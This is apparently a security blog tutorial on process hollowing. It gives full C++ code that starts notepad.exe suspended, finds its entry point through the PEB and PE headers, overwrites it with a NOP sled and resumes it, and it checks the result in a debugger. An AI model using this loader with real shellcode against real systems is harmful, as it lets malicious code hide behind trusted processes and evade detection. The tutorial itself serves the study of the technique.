Home Process Hollowing
Post
Cancel

Process Hollowing

Process Injection: Process Hollowing

In this post we are going to study another process injection sub-technique called Process Hollowing. If you have a clear understanding of the structure of a PE (Portable Executable) file, this will be easy to understand. If not, I recommend reading this other post first.

d0d6c113-2235-432e-ab32-ea20d8968573.webp

Process Hollowing Basic Concepts

Process Hollowing is a sub-technique from the Process Injection Technique that seeks to hide the presence of a malicious process to evade detection.

The main idea is simple: a malicious process creates a seemingly innocent process such as svchost.exe or notepad.exe in a SUSPENDED state. Then, it will “hollow” the code of this process and write the malicious code after changing the status to READY. Once the process gets executed, it will be executing malicious code using the identity of another process.

Next, we are going to analyze, step-by-step, how this can be achieved. In the example we are going to inject a shellcode that is defined inside the loader. This makes the code much easier since we only want to rewrite the code section of the victim process. If we wanted to inject a whole other PE, it will require more complex steps, like completely removing the PE structure of the “victim” process (de-allocating its memory), loading the malicious PE at the same base address and then perform the required reallocation for that PE.

Process Hollowing: Step by Step

Creating the process

The first step is to create the “innocent” process that will act as a Trojan horse for our malicious code. To do this, we can use the CreateProcess() function that Windows API offers in the win32.dll. You can read the documentation to understand each field, but I will highlight three things:

The STARTUPINFO structure in Windows API specifies the appearance and behavior of the main window when a new process is created, including attributes like window position, size, and standard I/O handles. The PROCESS_INFORMATION structure contains information about the newly created process, such as its process and thread handles, as well as the process and thread IDs.

  • Since we want the process to be in SUSPENDED state, we can do this by specifying the CREATE_SUSPENDED flag.

When the process is created, we will have a handle to that process inside the PROCESS_INFORMATION structure (hProcess field).

The code (In C++) that implements this is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
std::cout << "Creating Process"

// Define and initialize STARTUPINFOA and PROCESS_INFORMATION structures
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
si.cb = sizeof(STARTUPINFO);

// 1 -- Create the process in a suspended state
if (!CreateProcess(
    L"C:\\Windows\\System32\\notepad.exe",
    nullptr,
    nullptr,
    nullptr,
    FALSE,
    CREATE_SUSPENDED,
    nullptr,
    nullptr,
    &si,
    &pi))
{
		// Display error message if process creation fails
    std::cerr << "Error creating the process." << std::endl;
    return -1;
}

Obtain Entry Point

The next objective is to obtain the memory address of the new process where the code starts. The first step is to know where the process is in memory.

We can obtain this information within the PEB block of that process. To do this we need to use the ZwQueryInformationProcessfunction from the ntdll.dll . This function requires as parameter another struct called PROCESS_BASIC_INFORMATION that will hold the PEB address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 //First we obtain a handler to ntdll.dll
 HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
 if (!hNtDll) {
     std::cerr << "Error loading ntdll.dll." << std::endl;
     return -1;
 }

//Obtain the address of the required function
 pfnZwQueryInformationProcess ZwQueryInformationProcess =
     (pfnZwQueryInformationProcess)GetProcAddress(hNtDll, "ZwQueryInformationProcess");

 if (!ZwQueryInformationProcess) {
     std::cerr << "Error obtaining the function ZwQueryInformationProcess." << std::endl;
     return -1;
 }

 PROCESS_BASIC_INFORMATION pbi = { 0 };
 DWORD retlen = 0;
 // 2 -- Use the 
 NTSTATUS status = ZwQueryInformationProcess(
     pi.hProcess,
     0, // ProcessBasicInformation
     &pbi,
     sizeof(pbi),
     &retlen
 );
 
if (status != 0) {
	std::cerr << "Error obtaining process information" << std::endl;
	return -1;
}

std::cout << "[2] PEB is in 0x" << pbi.PebBaseAddress << std::endl;

Now that we have the PEB, we can find the base address of the process inside the PEB. To do this now that we have the PEB address, we need to know where inside the PEB is the ImageBaseAddress value. The _PEB in Windows is not officially documented, but using WinDbg we can see that is in the offset 0x10 (Ref: https://github.com/Faran-17/Windows-Internals/blob/main/Processes and Jobs/Processes/PEB - Part 1.md).

Hence, we will read directly from that memory address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//Buffer to store the address
BYTE buf1[8] = { 0 };
SIZE_T bytesRead = 0;
// 3 -- Extract ImageBaseAddress
if (!ReadProcessMemory(
	pi.hProcess,
	(PBYTE)pbi.PebBaseAddress + 0x10, //PEB address + 0x10 offset
	buf1,
	sizeof(buf1),
	&bytesRead))
{
	std::cerr << "Error reading memory from the process." << std::endl;
	return -1;
}
PVOID imageBaseAddress = *(PVOID*)buf1;
std::cout << "[3] The Image Base Address is 0x" << imageBaseAddress << std::endl;

With this base address, we can access the PE data. If you remember how a PE file is structured, we first have a set of headers that hold information and then the sections with data.

To get the start of the data sections, we first have to go through the DOS_HEADER. This header contains the e_lfanew that tells us the offset to get to the NT header. The e_lfanew can be found in the 0x3c offset.

Once we have the address of the NT Header, we can obtain the entry point on the 0x28 offset. Remember that this entry point is a RVA and in order to obtain the real address we need to add it to the image base address.

You can reference this page for all the offsets within the PE: http://www.sunshine2k.de/reversing/tuts/tut_pe.htm

Here is the code to do the mentioned steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// We read the 512 bytes of memory starting from the imageBaseAddress of the PEthat we obtained previously
BYTE buf2[0x200] = { 0 };
 if (!ReadProcessMemory(
     pi.hProcess,
     imageBaseAddress,
     buf2,
     sizeof(buf2),
     &bytesRead))
 {
     std::cerr << "Error al leer la cabecera del PE." << std::endl;
     return -1;
 }
//4 -- Obtain the e_lfanew field (offset 0x3C) from the DOS header, which gives the offset to the PE header (NT Headers).
DWORD e_lfanew = *(DWORD*)(buf2 + 0x3c);
//4 -- Obtain the AddressOfEntryPoint RVA (offset e_lfanew + 0x28) from the Optional Header in the PE header.
DWORD entryPointRVA = *(DWORD*)(buf2 + e_lfanew + 0x28);
//4 --  Transform the RVA to a real memory address by adding it to the imageBaseAddress
PVOID entryPointAddr = (PBYTE)imageBaseAddress + entryPointRVA;

 std::cout << "[4] EntryPoint is in 0x" << entryPointAddr << std::endl; 

Overwrite the process code

Now that we have the entry point address of the original code, we want to overwrite it with our shellcode. We can use the WriteProcessMemory function like this:

In this example I’ll overwrite the process memory with NOP instructions instead of adding real shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BYTE nopSled[460];
memset(nopSled, 0x90, sizeof(nopSled)); // Fill the array with NOP instructions

// 5 -- Write the NOP sled into the EntryPoint
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(
    pi.hProcess,
    entryPointAddr,
    nopSled,
    sizeof(nopSled),
    &bytesWritten))
{
    std::cerr << "Error writing to the process memory." << std::endl;
    return -1;
}

std::cout << "[5] NOP sled was written to the EntryPoint" << std::endl;

Resume the Process

Now, everything is ready, so we can resume the thread and it will execute the shellcode. Once it ends, we close the handles that we used.

1
2
3
4
5
6
7
8
9
10
11
12
13
// 6 -- Resume the suspended process
std::cout << "Press Enter to exit and clean up..." << std::endl;
std::cin.get();
ResumeThread(pi.hThread);

std::cout << "[6] The process thread was resumed." << std::endl;

//Close the handlers
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;

Memory Analysis

Lets execute the loader that we just created. We will se an output like this one:

image.png

If we open with an analysis tool like x64dbg the notepad.exe process, we can do some analysis. If we go to the Memory Map tab, we can see that Indeed the PEB is in the 0x0000001487F98000 memory address.

image.png

The next step was to get the Image Base address that was at the 0x10 offset of the PEB (hence in 0x0000001487F98010 . If we look at the content in that address (8 bytes in little endian) we can see that it contains the 0x00007FF63C3B0000 which is the memory address where we will find the Image Base Address.

image.png

Once in that address, we first look at the 0x3c offset to get the e_lfanew value which is 0x00000120

image.png

Now to get the RVA of the entry point we have to get the value of 0x00007FF63C3B0000 + 0x00000120 + 0x28 and it is equal to 0x00007FF63C3B0148 . If we get the contents of that memory address we can see that the RVA is 0x000C59A0 :

image.png

Finally, to get the correct memory address of the Entry Point we have to add this last obtained value to the base image address: 0x00007FF63C3B0000 + 0x000C59A0 = 0x**7FF63C4759A0** which is the same address that the code returned.

To prove that the shellcode (NOP in this example) has been injected there, we will check what info is in memory starting from that address:

image.png

We see a lot of 0x90, which is the Opcode of the NOP instruction (does nothing)

image.png

So we can confirm that the code has been correctly injected in the correct memory address.

Full Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* pfnZwQueryInformationProcess)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    DWORD ProcessInformationLength,
    PDWORD ReturnLength
    );

int main()
{
  std::cout << "Creating Process notepad.exe." << std::endl;;
	
	// Define and initialize STARTUPINFOA and PROCESS_INFORMATION structures
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { 0 };
	si.cb = sizeof(STARTUPINFO);
	
	// 1 -- Create the process in a suspended state
	if (!CreateProcess(
	    L"C:\\Windows\\System32\\notepad.exe",
	    nullptr,
	    nullptr,
	    nullptr,
	    FALSE,
	    CREATE_SUSPENDED,
	    nullptr,
	    nullptr,
	    &si,
	    &pi))
	{
			// Display error message if process creation fails
	    std::cerr << "Error creating the process." << std::endl;
	    return -1;
	}
	 //First we obtain a handler to ntdll.dll
	 HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
	 if (!hNtDll) {
	     std::cerr << "Error loading ntdll.dll." << std::endl;
	     return -1;
	 }
	
	//Obtain the address of the required function
	 pfnZwQueryInformationProcess ZwQueryInformationProcess =
	     (pfnZwQueryInformationProcess)GetProcAddress(hNtDll, "ZwQueryInformationProcess");
	
	 if (!ZwQueryInformationProcess) {
	     std::cerr << "Error obtaining the function ZwQueryInformationProcess." << std::endl;
	     return -1;
	 }
	
	 PROCESS_BASIC_INFORMATION pbi = { 0 };
	 DWORD retlen = 0;
	 // 2 -- Use the 
	 NTSTATUS status = ZwQueryInformationProcess(
	     pi.hProcess,
	     0, // ProcessBasicInformation
	     &pbi,
	     sizeof(pbi),
	     &retlen
	 );
	 
	if (status != 0) {
		std::cerr << "Error obtaining process information" << std::endl;
		return -1;
	}
	
	std::cout << "[2] PEB is in 0x" << pbi.PebBaseAddress << std::endl;
	//Buffer to store the address
	BYTE buf1[8] = { 0 };
	SIZE_T bytesRead = 0;
	// 3 -- Extract ImageBaseAddress
	if (!ReadProcessMemory(
		pi.hProcess,
		(PBYTE)pbi.PebBaseAddress + 0x10, //PEB address + 0x10 offset
		buf1,
		sizeof(buf1),
		&bytesRead))
	{
		std::cerr << "Error reading memory from the process." << std::endl;
		return -1;
	}
	PVOID imageBaseAddress = *(PVOID*)buf1;
	std::cout << "[3] The Image Base Address is 0x" << imageBaseAddress << std::endl;
	// We read the 512 bytes of memory starting from the imageBaseAddress of the PEthat we obtained previously
	BYTE buf2[0x200] = { 0 };
	 if (!ReadProcessMemory(
	     pi.hProcess,
	     imageBaseAddress,
	     buf2,
	     sizeof(buf2),
	     &bytesRead))
	 {
	     std::cerr << "Error al leer la cabecera del PE." << std::endl;
	     return -1;
	 }
		//4 -- Obtain the e_lfanew field (offset 0x3C) from the DOS header, which gives the offset to the PE header (NT Headers).
		DWORD e_lfanew = *(DWORD*)(buf2 + 0x3c);
		//4 -- Obtain the AddressOfEntryPoint RVA (offset e_lfanew + 0x28) from the Optional Header in the PE header.
		DWORD entryPointRVA = *(DWORD*)(buf2 + e_lfanew + 0x28);
		//4 --  Transform the RVA to a real memory address by adding it to the imageBaseAddress
		PVOID entryPointAddr = (PBYTE)imageBaseAddress + entryPointRVA;
		
	 std::cout << "[4] EntryPoint is in 0x" << entryPointAddr << std::endl; 
	 BYTE nopSled[460];
	memset(nopSled, 0x90, sizeof(nopSled)); // Fill the array with NOP instructions
	
	// 5 -- Write the NOP sled into the EntryPoint
	SIZE_T bytesWritten = 0;
	if (!WriteProcessMemory(
	    pi.hProcess,
	    entryPointAddr,
	    nopSled,
	    sizeof(nopSled),
	    &bytesWritten))
	{
	    std::cerr << "Error writing to the process memory." << std::endl;
	    return -1;
	}
	
	std::cout << "[5] NOP sled was written to the EntryPoint" << std::endl;
	// 6 -- Resume the suspended process
	std::cout << "Press Enter to exit and clean up..." << std::endl;
	std::cin.get();
	ResumeThread(pi.hThread);
	
	std::cout << "[6] The process thread was resumed." << std::endl;
	
	//Close the handlers
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	
	return 0;
}
This post is licensed under CC BY 4.0 by the author.